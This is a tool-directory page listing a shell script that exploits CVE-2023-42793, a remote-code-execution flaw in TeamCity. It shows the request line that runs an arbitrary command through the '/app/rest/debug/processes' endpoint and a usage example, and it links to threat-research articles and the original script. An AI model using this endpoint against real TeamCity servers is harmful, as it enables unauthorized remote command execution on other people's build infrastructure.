Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
teamcity-exploit-cve-2023-42793 — teamcity-exploit-cve-2023-42793 | Kitploit
Tools/GitHubGitHub/swiftsecur/teamcity-exploit-cve-2023-42793
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubswiftsecur/teamcity-exploit-cve-2023-42793

teamcity-exploit-cve-2023-42793

teamcity-exploit-cve-2023-42793

View Repository
1111 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

TeamCity Exploit Cve 2023 42793

A quick script to exploit the cve-2023-42793 bug. Some additional reading on the exploit can be found here:

https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793​

https://www.cnblogs.com/LittleHann/p/17843271.html​

This script adds in the ability to use "params" freely to execute commands after triggering the RCE bug:

RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=sh&params=-c&params=${URLCMD}"

To run the script:

Usage: <base_url> <port> <command>

Example:

./TeamCity.sh blah.com 8111 "ls -lah"

The original script is here, full credit needs to go to them: https://github.com/Zenmovie/CVE-2023-42793

Download Tool